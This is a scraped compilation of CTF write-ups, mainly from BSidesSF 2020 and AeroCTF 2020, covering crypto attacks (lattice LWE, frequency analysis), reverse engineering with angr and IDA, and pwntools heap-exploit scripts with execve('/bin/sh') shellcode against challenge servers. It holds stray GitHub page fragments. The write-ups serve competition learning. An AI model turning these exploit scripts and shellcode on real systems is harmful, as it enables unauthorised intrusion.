We slightly modified given decryption code to extract all pairs:
```pythondef extract(val): if not isinstance(val, bytes): val = val.encode('utf-8') msglen = struct.unpack('>I', val[:4])[0] val = val[4:] chunk_len = (SIG_SIZE + 1) * CHAFF_SIZE expected_len = chunk_len * msglen if len(val) != expected_len: raise ValueError('Expected length %d, saw %d.' % (expected_len, len(val))) pieces = [] for c in range(msglen): chunk = val[chunk_len * c:chunk_len * (c + 1)] res = extract_byte_sig_pairs(chunk) pieces.extend(res) return pieces
def extract_byte_sig_pairs(val): res = [] while val: c = byte(val[0]) sig = val[1:SIG_SIZE + 1] res.append((c, sig)) val = val[SIG_SIZE + 1:] return res```
And with this we can simply do:
```pythonmsg = open('data.bin', 'rb').read()ret = extract(msg)c = Counter(ret)real = c.most_common(256)print(real)```
This gives us the list of most common pairs `byte, signature`.
Now we can easily decrypt the data, using the same way the original decryption works. The only difference is that we don't calculate hmac signature, but simply take the one we just calculated.
We can make a map `d = {s: b for (b, s), c in real}` which given signature tells us what byte it should be, and then plug this in decryption:
```pythondef decode(val, d): if not isinstance(val, bytes): val = val.encode('utf-8') msglen = struct.unpack('>I', val[:4])[0] val = val[4:] chunk_len = (SIG_SIZE + 1) * CHAFF_SIZE expected_len = chunk_len * msglen if len(val) != expected_len: raise ValueError('Expected length %d, saw %d.' % (expected_len, len(val))) pieces = [] for c in range(msglen): chunk = val[chunk_len * c:chunk_len * (c + 1)] res = decode_byte(chunk, d) pieces.append(res) return b''.join(pieces)
def decode_byte(val, d): while val: c = byte(val[0]) sig = val[1:SIG_SIZE + 1] if sig in d and d[sig] == c: return c val = val[SIG_SIZE + 1:] raise ValueError("WTF")```
This way we recover the message:
```b'\x105.8\xd2\xae\xcessage is encoded using a technique called "Chaffing and Winnowing"[1],\na technique that was first published by Ron Rivest in an article published on\nthe 18th of March 1998 (1998/03/18). Unfortunately, my implementation of the\ntechnique suffers from very significant flaws, not the least of which is the\nfailure to include a counter within the the MAC\'d portion of the data. This\nleads to all valid bytes with the same value having the same MAC, which should\nallow for a fairly trivial frequency analysis attack on the message.\nUltimately, if you\'re reading this, then you\'ve found *some* way to crack the\nencoding applied here.\n\nChaffing and winnowing also leads to a pretty major blow up in size. Imagine\nif, instead of 31 bytes of chaff per byte of message, I had used the maximum\n255. Imagine that I used a 256-bit MAC instead of 128. (256 bits: military\ngrade crypto!!@!)\n\nAt this point, you\'ve been patient enough through my diatribe (which is really\njust to give you the plaintext you need to launch your attack against the output\nof this encoding). What you\'re really here for is the FLAG. Like most of our\nother flags, this is in the typical CTF{} format.\n\nCTF{thanks_to_rivest_for_all_his_contributions}\n\n- Matir.\n(@Matir, https://systemoverlord.com)\n\nGreetz to decreasedsales, dissect0r, poptart, ehntoo, illusorycake, and\nzerobitsmith.\n\n\n[1]: https://en.wikipedia.org/wiki/Chaffing_and_winnowing\n'```
And the flag is `CTF{thanks_to_rivest_for_all_his_contributions}` |
# config-me - BSidesSF 2020 CTF (reverse, 472p, 4 solved)## Introduction
config-me is a reversing task. It is also in the `101` category, hinting that itshould be quite easy.
This task contains two files: `config-me` an ELF binary written in Rust, and`config-me.conf` that contains a name, a password, a comment, a conference titleand the flag.
The password and flag fields are encrypted:
```password: E$0d6b731d24127ad34e76a78133c91e59f13ab12eaa8dc0ad99e10c71flag: E$af7ac775b3716f6d6ae96fdb6080ef41f4918e0b9f2837b82105b5da39```
## Reverse engineering
The best way to reverse a Rust binary is: you don't.
## Dynamic analysis
The `config-me` binary reads the configuration from `config-me.conf`. It thendisplays `Welcome back, Ron [...]`, with Ron being the content of the `name`field from the configuration.
The binary can be used to add/delete a key and save/load a configuration file. Akey can be encrypted, and look like the encrypted field seen above.
By changing the configuration file and setting the `name` field to an encryptedvalue, it will be decrypted and printed. Setting the `name` field to theencrypted flag will reveal the flag:
```Welcome back, CTF{my_rust_is_rusty}! Your config file currently has 5 entries. What would you like to do?```
**Flag**: `CTF{my_rust_is_rusty}` |
# Toast clicker 3 (96p, 21 solved)
The last part of the challenge comes from:
```java public void loadClass() { String methodToInvoke = "printThirdFlag"; try { Class loadedClass = new DexClassLoader(Uri.fromFile(new File(getExternalFilesDir(null), "bacon-final.dex")).toString(), null, null, ClassLoader.getSystemClassLoader().getParent()).loadClass("bacon.ToastDynamicFlag"); Object obj = loadedClass.newInstance(); String str = (String) loadedClass.getMethod(methodToInvoke, new Class[]{String.class, String.class}).invoke(obj, new Object[]{"ijiijiiijjjjjijijijiiijjijjjji", "jjjiiiiijjjijijijjijiijji"}); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e2) { e2.printStackTrace(); } catch (IllegalAccessException e3) { e3.printStackTrace(); } catch (NoSuchMethodException e4) { e4.printStackTrace(); } catch (IllegalArgumentException e5) { e5.printStackTrace(); } catch (InvocationTargetException e6) { e6.printStackTrace(); } }```
It looks weird, but in reality this is simply loading a new class `bacon.ToastDynamicFlag` at runtime from `bacon-final.dex` and calls method `printThirdFlag` on object of this class with arguments `"ijiijiiijjjjjijijijiiijjijjjji", "jjjiiiiijjjijijijjijiijji"`.
This dex file comes from:
```java public void downloadFile() { File file = new File(getExternalFilesDir(null), "bacon-final.dex"); DownloadManager downloadmanager = (DownloadManager) getSystemService("download"); Request request = new Request(Uri.parse("https://storage.googleapis.com/bsides-sf-ctf-2020-attachments/bacon-final.dex")); request.setTitle("Dex File"); request.setDescription("Downloading update"); request.setNotificationVisibility(1); request.setVisibleInDownloadsUi(false); request.setDestinationUri(Uri.fromFile(file)); request.setAllowedOverRoaming(false); request.setAllowedOverMetered(false); Log.d("File path", Uri.fromFile(file).toString()); this.downloadID = downloadmanager.enqueue(request); }```
We can just grab the [dex](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/toast/bacon-final.dex) from the URL and decompile it just as we did with the apk.There is only [one class](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/toast/ToastDynamicFlag.java) there.
As mentioned, we only need to call the function there to get the flag, so we do just that, add a main method with:
```java public static void main(String[] args) { ToastDynamicFlag toastDynamicFlag = new ToastDynamicFlag(); System.out.println(toastDynamicFlag.printThirdFlag("ijiijiiijjjjjijijijiiijjijjjji", "jjjiiiiijjjijijijjijiijji")); }```
And run this to get `CTF{makingbaconpancakes}` |
# Auction (250 pts)
We were given a 64 bit dynamically linked binary.
protections:
```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : disabled```
Binary output:
```Welcome to The Flag Auction1. Check account balance2. Make a bid3. ExitEnter choice: ```
So we can choose between check account balance, bid or exit. In the bid option we can choose between a cheap flag or the real flag.
Initially we have 1100 balance and the real flag costs 100000 so we can only choose the cheap flag for now (costs 1000).
I loaded the binary in IDA pro.
When we choose a cheap flag it asks for number of flags we wanna bid and stores the data in ```v6```. Then it calculates the total cost with the operation ```v9 = 1000 * v6``` (line 56).
Then it calculates the new account balance with substracting the old balance (in variable v8) from the total cost calculated before in v9 variable (line 65).
Both v6 and v9 are signed ints so if we give a very big number to scanf the result of the total cost will be negative.
Let's assume that to total cost is -123456
When it calculates the new balance value it will perform a ```v8 = v8 - (-123456)``` operation which is ```v8 = v8 + 123456```.
OKay, now using this integer overflow bug we have enough balance to bid for the real flag.
Now it comes the reversing part!
The binary is asking for account password in buy_flag function.
The first thing, the binary is copying the data from variable v23,v24,v25,v26,v2,v27,v27 (lines from 41 to 47) to another buffer.
Then it performs a xor operation between our input as a password and the content of each of these variables. They have the same length (8) so len(input)=8.
Then it calls the function ```checkpass``` with the xor result as an argument and test if it's return value is true it jumps the the OTP part. OKay let's find out what does the checkpass function do exactly.
It calculates some kind of exponents several times and each time compares the result to its following 8 bytes from the result of the previous xor as an integer.
So the program is expecting a numeric string from the xor operation.
I couldn't find out the calculations with the static analysis so i used a debugger (gdb in my case) to just dump the result.
So ```input xor "XQ\UA\]R"``` should be "10173367" as a string. (I got the "XQ\UA\]R" from the "buy_flag" function the content of variable v23)
Then we can find the right password with ``` "XQ\UA\]R" xor "10173367"```.
Account's password : ```iambroke```
Now, the binary is asking for an OTP.
then it calls ```checkotp``` function 6 times with our input and 2 integers as arguments and it tests for the return value of each call it must be true ( !=0 ).
This function is an implementation of MOD arithmetic operation in C language on big integers using strings as input.
Let's assume that the binary is performing checkotp(input,Ai,Bi) and "i" goes from 1 to 6 (6 times), each time this function tests if ```input % Ai == Bi```
The first thing came to my mind is the [Chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem).
But to do that I need to dump all the Ai values and check if they are all pairwise coprime.
Values:
```input % 10173367 == 145input % 17605519 == 89input % 41036707 == 34input % 65412691 == 103input % 51804541 == 227input % 25675651 == 313```
Then i wrote a simple python script to check if all the values (10173367, 17605519, 41036707,...) are pairwise coprime and got a positive result now we can apply the theorem to get the right input.
input: ```478849720716794761451385564063106643738459224```
 |
```pythonfrom pwn import *
r = remote("tasks.aeroctf.com",33039)
def add(s): r.sendlineafter("> ","1") r.sendafter("password: ",s) def view(id): r.sendlineafter("> ","2") r.sendlineafter("id: ",str(id))
def delete(id): r.sendlineafter("> ","4") r.sendlineafter("id: ",str(id))
def delall(): r.sendlineafter("> ","5")
r.sendafter("name: ","/bin/sh\x00")r.sendafter("secret: ",p64(0x404020))for _ in range(16): print("add"+str(_)) add("a")view(16)r.recvuntil("Value: ")res = r.recvline()[:-1]#print(res)#print(len(res))puts = u64(res.ljust(8,'\x00'))#print(hex(puts))libc = puts-0x73f30system = libc+0x46ed0print(hex(libc))print(hex(system))
for i in range(16): print("del"+str(15-i)) delete(15-i)#delall()#add("a")#add("magic")for _ in range(15): print("add"+str(_)) add("a")#r.interactive()
for i in range(7): print("del"+str(i)) delete(i)
add("magic")
#r.sendlineafter("> ","3")#print(r.recvall())#r.interactive()
delete(9)delete(8)delete(7)delete(-1)
for _ in range(7): print("add"+str(_)) add("a")
add(p64(0x404100))add("magic")#r.interactive()add(p64(system))add(p64(system))
r.interactive()#Aero{a9b57185b3799a0bb4c0bdd01156ae2d5eeea046513a4faf1d51e114df91679e}``` |
```pythonfrom pwn import *
#r = process("")r = remote("tasks.aeroctf.com",33014)
r.sendafter("{?} Enter name: ","A")r.sendlineafter("> ","3")r.interactive()#Aero{4af2aea9b7dea9aabbc1c9a423e4957fd4c615821f4ded0f618b629651a9d67c}print(r.recv())``` |
# 1000 and 1 night
### Description:
```I wrote all this manually in 1000 and 1 night.
It seems that the solution will take the same amount of time.
After connecting to the server, it will ask you for a token for a binary.
You need to enter the correct tokens for the requested files and you will receive a flag.
nc tasks.aeroctf.com 44324```
We are given with 1001 binaries that ask for a token. Every binary has the same layout, the only difference is in constants in **check** function.
```cint main(int argc, const char **argv, const char **envp){ int result; _BYTE *buf;
setup(argc, argv, envp); printf("[?] Enter valid token: "); buf = malloc(0x40uLL); buf[(int)read(0, buf, 0x40uLL) - 1] = 0; if ( strlen(buf) == 32 ) { if ( check(buf) ) puts("[+] This is a valid token!"); else puts("[-] Incorrect!"); result = 0; } else { puts("[-] Incorrect!"); result = 0x539; } return result;}```
```cbool check(char *a1){ __int64 s2; __int64 v3; __int64 v4; __int64 v5; int i;
s2 = 0x2673231825237276LL; v3 = 0x2373262077182774LL; v4 = 0x2025271873772577LL; v5 = 0x2375232776217420LL; for ( i = 0; i <= 31; ++i ) a1[i] = ((a1[i] + 7) ^ 0x17) - 8; return memcmp(a1, &s2, 0x20uLL) == 0;}```
### Solution:
We use angr to automatically solve crackmes and save output to file. After 30~ mins we use pwntools to submit token to server.
```pythonimport angrimport claripyimport osimport sysimport binasciifrom tqdm import tqdmimport logging
log_things = ["angr", "pyvex", "claripy", "cle"]for log in log_things: logger = logging.getLogger(log) logger.disabled = True logger.propagate = False files_path = os.path.join(os.getcwd(), 'files')
check_func = 0x4012a4key_loc = 0x600000
def main(filename, f): key = claripy.BVS('key', 8*32) proj = angr.Project(os.path.join(files_path, filename)) state = proj.factory.blank_state(addr=0x401219) # addr of check function # key is only in printable char range for c in key.chop(8): state.add_constraints(c >= 32) state.add_constraints(c <= 127)
state.memory.store(key_loc, key) state.regs.rdi = key_loc state.regs.rax = key_loc simgr = proj.factory.simgr(state) simgr.explore( find=0x401230, # goodboy avoid=0x401222 # badboy ) print(simgr) if simgr.found: out = simgr.found[-1].solver.eval(key, cast_to=bytes) print(out) f.write(f'{filename}\t{out.decode("utf-8")}\n') else: print(f'no token found for {filename}') f.write(f'{filename}\tNOTHING')
if __name__ == "__main__": with open('out.txt', 'w') as f: for file in tqdm(os.listdir(files_path)): main(file, f)
```
```pythonfrom pwn import *import sysimport re
def main(r): answers = open('out.txt').readlines() while True: raw = r.recv() print(raw) binary_name = re.findall('<(.*)>', raw.decode())[0] for i in answers: if binary_name in i: r.sendline(i.split('\t')[-1].replace('\n','')) break
if __name__ == "__main__": r = remote('tasks.aeroctf.com', 44324) sys.exit(main(r))```
Output from server:
```shb'Enter valid token to binary with name <704afe073992cbe4813cae2f7715336f>\nToken: 'b'Enter valid token to binary with name <fccb60fb512d13df5083790d64c4d5dd>\nToken: 'b'Enter valid token to binary with name <303ed4c69846ab36c2904d3ba8573050>\nToken: 'b'Enter valid token to binary with name <9f61408e3afb633e50cdf1b20de6f466>\nToken: 'b'Enter valid token to binary with name <fe7ee8fc1959cc7214fa21c4840dff0a>\nToken: 'b'Enter valid token to binary with name <46922a0880a8f11f8f69cbb52b1396be>\nToken: 'b'Enter valid token to binary with name <210f760a89db30aa72ca258a3483cc7f>\nToken: 'b'Enter valid token to binary with name <92cc227532d17e56e07902b254dfad10>\nToken: 'b'Enter valid token to binary with name <6855456e2fe46a9d49d3d3af4f57443d>\nToken: 'b'Enter valid token to binary with name <8c235f89a8143a28a1d6067e959dd858>\nToken: 'b'Flag: Aero{0f9e7ddd2be70f58b86f8f6589e17f182fc21c71437c2d9923fefa7ae281712b}\n'```
|
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https://devploit.dev/2020/02/09/nullconHackIM-ZeldaAdventures.html |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2020-AeroCTF</span></span><span>/</span>Navigation_Journal<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2020-AeroCTF</span></span><span>/</span>Navigation_Journal<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ironore15/ctf/tree-commit/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-AeroCTF/Navigation_Journal" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.23.so</span> </div>
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|
```pythonfrom pwn import *
context.arch = "amd64"
#shellcode = shellcraft.amd64.linux.sh()
shellcode = ''' push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp xor rsi,rsi xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall'''
print(shellcode)
asmed = asm(shellcode)print(asmed)print(len(asmed))
print(disasm(asmed))
arr = [0x90]for i in asmed: arr.append(ord(i))print(arr)
arr[-1] = 87print(arr)
p = ""for i in arr: p += chr(i)print(p)
#r = process("./smiyc")r = remote("tasks.aeroctf.com",33001)r.send(p)r.recvuntil("77")r.sendline("R08S87-05L99C01")r.interactive()#Aero{dad088ac762b071665d321c2aa22c5f84f66dca4e8865da998666d15b3ca0e0a}``` |
# Aero CTF 2020 - Magic II (Crypto, 496pts)
Good and difficult crypto challenge. Should be an entry exercise for getting into Lattice-based cryptoanalysis and Symbolic Execution.
## challenge details
We got Python script (excerpted):
```pythondef create_potion(ingredients: List[int], amounts: List[int]) -> int: magic_constant = 1046961993706256953070441 effect = sum(starmap(mul, zip(ingredients, amounts))) side_effect = getrandbits(13) ^ getrandbits(37) return (effect + side_effect) % magic_constant
def main(): from secret import FLAG security_level = 64 ingredients_count = 12 random = Random.create(security_level) potions_count = int.from_bytes(FLAG, 'big') ^ random.randint(512) print(f'There are {potions_count} famous potions in the world. We are trying to create something new!') ingredients = [random.randint(security_level) for _ in range(ingredients_count)] while True: amounts = [getrandbits(41) for _ in range(len(ingredients))] effect = create_potion(ingredients, amounts) print(f'A potion with {amounts} amounts of ingregients has {effect} value of effect.') choice = input('Would you like to create another potion? (y/n): ') if not choice.lower().startswith('y'): break return```
and its output for 100 rounds:
```There are 6649072325173565167790166618241744001772629470276152191212306811403978598551946952005874796389850254324206273014469019894959347241157412707755498754629152 famous potions in the world. We are trying to create something new!A potion with [432963764937, 1734018663110, 341889949567, 1898982667391, 2077151719276, 1407002783602, 1284167537027, 1834426568578, 285492081118, 2058066808411, 682725745551, 212794466530] amounts of ingregients has 675829748828112222653599 value of effect.Would you like to create another potion? (y/n): yA potion with [1520127565791, 1613928435234, 1481625614519, 513222175065, 1825760063135, 849601240471, 2028256612679, 884310262235, 240010057040, 992839358285, 923505774812, 383090205845] amounts of ingregients has 19282755083699178123269 value of effect.Would you like to create another potion? (y/n): y(...194 lines omitted)A potion with [353615797819, 779510410363, 634337418618, 112328801072, 1308573457212, 1018471322967, 2191760622378, 1641311358023, 126717015375, 790498704391, 2029952294067, 1080095433537] amounts of ingregients has 64147717148582160182619 value of effect.Would you like to create another potion? (y/n): n```
## Recovering ingredients by solving CVP
`Random` is the original RNG implementation of this challenge. We should analyse it later, but at first we should guess what the `ingredients` is.
The calculation of creating potion above can be treated as manipulation of matrix. If we define
$$\begin{align}\boldsymbol{A} =&\;\texttt{amounts[]}\\\boldsymbol{s} =&\;\texttt{ingredients}\\n =&\;\texttt{ingredients_count}\\\boldsymbol{e} =&\;\texttt{side_effect[]}\\\boldsymbol{b} =&\;\texttt{effect[]}\\q =&\;\texttt{magic_constant}\end{align}$$
the calculation can be described as:
$$\begin{align}\boldsymbol{A}\boldsymbol{s}+\boldsymbol{e}=\boldsymbol{b}\bmodq\end{align}$$
And we know $\boldsymbol{A}$, $\boldsymbol{b}$, and $q$... well, that is what exactly [LWE cryptosystem](http://cryptowiki.net/index.php?title=LWE-based_cryptographic_protocols#LWE-based_cryptosystems) is!
Using a [lattice](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/lattice/overview/) for attacking LWE is very common. In this case, there are too many bits in $q$ and the error $\boldsymbol{e}$ is relatively small. It is very likely to break this cipher by lattice attack.
Solving LWE is reducted into [CVP](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/lattice/cvp/) in the lattice theory. First break the equation into rows:
\[\begin{cases}\boldsymbol{a}_{1}\boldsymbol{s}+e_{1}=b_{1}\bmod q\\\boldsymbol{a}_{2}\boldsymbol{s}+e_{2}=b_{2}\bmod q\\\vdots\\\boldsymbol{a}_{m}\boldsymbol{s}+e_{m}=b_{m}\bmod q\end{cases}\]
and erase the modulo by introducing coefficient $k_1, \dots, k_n\in\mathbb{Z}$:
$$\begin{cases}\boldsymbol{a}_{1}\boldsymbol{s}+k_{1}q=b_{1}-e_{1}\\\boldsymbol{a}_{2}\boldsymbol{s}+k_{2}q=b_{2}-e_{2}\\\vdots\\\boldsymbol{a}_{m}\boldsymbol{s}+k_{m}q=b_{m}-e_{m}\end{cases}$$
This can be translated into matrix operation:
$$\left[\begin{array}{cccccccc}a_{11} & a_{12} & \cdots & a_{1n} & q & 0 & \cdots & 0\\a_{21} & \ddots & & \vdots & 0 & q & & \vdots\\\vdots & & \ddots & \vdots & \vdots & & \ddots & \vdots\\a_{m1} & \cdots & \cdots & a_{mn} & 0 & \cdots & \cdots & q\end{array}\right]\left[\begin{array}{c}s_{1}\\\vdots\\s_{n}\\k_{1}\\\vdots\\k_{m}\end{array}\right]=\boldsymbol{b}-\boldsymbol{e}$$
and also can be written as following:
$$s_{1}\left[\begin{array}{c}a_{11}\\a_{21}\\\vdots\\a_{m1}\end{array}\right]+\cdots+s_{n}\left[\begin{array}{c}a_{1n}\\a_{2}\\\vdots\\a_{mn}\end{array}\right]+k_{1}\left[\begin{array}{c}q\\0\\\vdots\\0\end{array}\right]+k_{2}\left[\begin{array}{c}0\\q\\\vdots\\0\end{array}\right]+\cdots+k_{m}\left[\begin{array}{c}0\\0\\\vdots\\q\end{array}\right]=\boldsymbol{b}-\boldsymbol{e}$$
This is considered as a lattice, with $n+m$ base vectors and targetting $\boldsymbol{b}$ with a (relatively) small error $\boldsymbol{e}$. In the other words, we should adjust parameters $s_1, \dots, s_n, k_1, \dots, k_m$ and find the closest vector into $\boldsymbol{b}$.
This is called CVP (Closest Vector Problem) in the lattice theory. It is known that this is NP-hard, but, by using LLL and [Babai's nearest plane algorithm](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/lattice/cvp/#babais-nearest-plane-algorithm), a good approximate solution can be found in the polynomial time (w/o knowing actual parameters $s_1, \dots, s_n, k_1, \dots, k_m$). This is enough for this case.
We did implement solver with SageMath:
{%gist hakatashi/2266a5df35cc79de50b86d2419b33a6f %}
Note that SageMath implements [closest_vector()](http://doc.sagemath.org/html/en/reference/modules/sage/modules/free_module_integer.html#sage.modules.free_module_integer.FreeModule_submodule_with_basis_integer.closest_vector) but it is a definitive solution and (thus) very very slow.
And we recovered `ingredients` as:
```[15947635162630781022, 13358685451704549741, 16125368066162772035, 15826229117247968913, 2646399917048428358, 4885066420149917790, 5030034390407155536, 14428761327704365060, 12909357566263158604, 8293230205600583029, 14383462958218167109, 15636563551321853965]```
## Recover the Initial State of RNG by Z3
Now we know the last $64\times12$ bits of RNG output. Let's move into RNG.
The generation of bits can be seen here in the given code:
```python def _getbit(self) -> int: buffer = 2 * self._state | self._state >> (self._size - 1) | self._state << (self._size + 1) self._state = reduce(ior, ((buffer >> i & 7 in [1, 2, 3, 4]) << i for i in range(self._size))) return self._state & 1```
The state parameter is 64bits unsigned integer. This code is a bit tricky, but actually this is just getting `i-1..i+1`-th bits of previous state for each `i`-th bits and checking if it is 1, 2, 3, or 4.
Solving the puzzle by hand is an option, but this check can be translated into a simple logical expression, `(state[i-1] | state[i]) ^ state[i+1]` (Write your own truth table!). It is very likely that this can be automatically analyzed by SAT-solver. Let's try with Z3Py!
{%gist hakatashi/c7826a6b6ff64e97a934d2485099af45 %}
Execute and wait for a few minites... and yes, SAT!
```$ python2 solve.pySolving...('SAT', [state__13 = True, state__2 = True, state__46 = True, state__42 = True, state__49 = False, state__50 = False, state__54 = False, state__63 = True, state__25 = False, state__39 = False, state__30 = True, state__19 = True, state__47 = True, state__41 = False, state__38 = False, state__20 = False, state__23 = True, state__52 = False, state__11 = True, state__18 = False, state__21 = True, state__55 = False, state__62 = False, state__1 = True, state__40 = True, state__51 = False, state__0 = False, state__3 = False, state__14 = False, state__57 = True, state__28 = False, state__9 = True, state__45 = False, state__22 = False, state__44 = True, state__35 = True, state__5 = False, state__6 = True, state__27 = True, state__32 = False, state__60 = False, state__61 = True, state__53 = True, state__4 = False, state__16 = False, state__29 = False, state__34 = False, state__37 = False, state__7 = True, state__15 = False, state__26 = True, state__12 = True, state__43 = False, state__10 = True, state__59 = False, state__17 = True, state__56 = False, state__48 = True, state__31 = True, state__36 = False, state__8 = True, state__58 = True, state__24 = True, state__33 = False])```
This is the initial state (=seed) of the RNG. We can recover the following 512bits of outputs by simply modifying the original code, resulting:
```6649072325173565167790166607303544343236044285056890707110072554988785350596422550050892070579043919783725646730179370397111189029461357122780521673335594```
Now xor it with the given number (`potions_count`) and successfully get flag:
`Aero{b3_c4r3ful_n0t_4ll_p0t10ns_4r3_g00d_f0r_h34lth}`
Great! |
# Aero CTF 2020 : Magic I
**category** : crypto
**points** : 205
## write-up
XOR encryption
`key` is the sum of one column of a [magic square](https://en.wikipedia.org/wiki/Magic_square) of unknown dimension.
We are given the value of `key % x^2`, where `x` is the dimension.
After some computation, we got `key = x^2 * (x^2 - 1) / (2x) = (x^3 - x) / 2`
Assume `x` is even, and `x = 2y`, then `key = 4y^3 - y`, and `key % x^2 = key % 4y^2 = 4y^2 - y`. Plug in the value and find out that there is no integer solution.
Assume `x` is odd, and `x = 2y + 1`, then `key = 4y^3 + 6y^2 + 2y`, and `key % x^2 = 2y^2 + y`. Then use [Wolfram](https://www.wolframalpha.com/input/?i=2y%5E2+%2B+y+%3D+5405053190768240950975482839552589374748349681382030872360550121041249100085609471) to find the answer, which is `y = 51985830717457237488973954964904090788909` and then we can decrypt the flag.
# other write-ups and resources |
```pythonfrom pwn import *
r = remote("tasks.aeroctf.com", 33087)
def sell(ns,name,cost,hc = False,cs = 0,comment = ""): r.sendlineafter("> ","1") r.sendlineafter("name size: ",str(ns)) r.sendafter("name: ",name) r.sendlineafter("cost: ",str(cost)) if not hc : r.sendlineafter("]: ","N") return r.sendlineafter("]: ","Y") r.sendlineafter("size: ",str(cs)) r.sendafter("Comment: ",comment)
def delete(id): r.sendlineafter("> ","2") r.sendlineafter("id: ",str(id))
def view(id): r.sendlineafter("> ","4") r.sendlineafter("id: ",str(id))
def change(id,name): r.sendlineafter("> ","5") r.sendlineafter("id: ",str(id)) r.sendafter("name: ",name)
r.sendlineafter("name: ","lys")sell(0x10,'a'*0x10,87)change(0,'b'*0x10)delete(0)#r.interactive()change(0,p64(0x4040E0))sell(0x10,'a'*0x10,87,True,0x10,p64(0x404020))view(0)r.recvuntil("Name: ")res = r.recvline()[:-1]#print(res)#print(len(res))puts = u64(res.ljust(8,'\x00'))#print(hex(puts))libc = puts-0x74040one_gadget = libc+0xe664bprint(hex(libc))
sell(0x20,'a'*0x10,87)change(1,'b'*0x10)delete(1)#r.interactive()change(1,p64(0x404028))sell(0x20,'a'*0x10,87,True,0x20,p64(one_gadget))r.interactive()#Aero{13f96a24f185f0862ea1ecd88c854b12d5a4b7ba85b43dc42e0bb2d187a2ef9b}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2020-AeroCTF</span></span><span>/</span>Ticket_Storage<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2020-AeroCTF</span></span><span>/</span>Ticket_Storage<span>/</span></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2020-AeroCTF</span></span><span>/</span>Password_Keeper<span>/</span> </div> </div>
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# ghost-in-the-system
## Description
I think my `ls` is being haunted... the colors are all weird!!! What's that? It's highlighting things?! Where!!?
### Hint 1
Flag is `100` characters long.It starts with `rtcp{` and ends with `}`The first character is `w`
### Hint 2
The flag is written in standard leet, the only exceptions are the flag wrapping (`rtcp{}`) and underscores (`_`)
### Solution
Observe the `call`'s in the figure 1:
 Figure 1 - Scope of function main
The program opens a directory and read it, the directory always will be '.'
In Figure 2 is possible to see a verification for `rtcp{` and `}`, I ignored this and keep read.
 Figure 2 - verifications
More below we have the Figure 3 and here we found a big variable `aSYvzezqr6x45jx` (double click and you will see)
 Figure 3 - a big buffer reference
Following and we get the Figure 4 with some nice pattern that occurs 100 times, exactly the flag size! This pattern brings the offset that are need to get the chars from the variable `aSYvzezqr6x45jx` and build the flag.
 Figure 4 - a pattern
Time to code and practive the `Ida Fu`
```$ cat ida_script.pyimport idautils
sc = idautils.Strings()# the buffer is at offset 0x00000000000021E8 offsetbuffer = str([s for s in sc if hex(s.ea) == '0x21e8L'][0])flag = ''get_next = False
for function_ea in idautils.Functions(): for ins in idautils.FuncItems(function_ea): if idaapi.isCode(idaapi.getFlags(ins)): cmd = idc.GetDisasm(ins) if get_next and idc.GetMnem(ins) == 'mov': value = idc.GetOpnd(ins, 1) if value.endswith('h'): value = "0x" + value.replace('h', '') value = int(value, 16) flag += buffer[value] get_next = False if cmd == 'lea rax, [rbp+otxt]': get_next = True
print(flag)```
Execute the script above and get the flag in IDA Output Window (figure 5).
 Figure 5 |
# HackTM-OSINT-Old-Times-Writeup
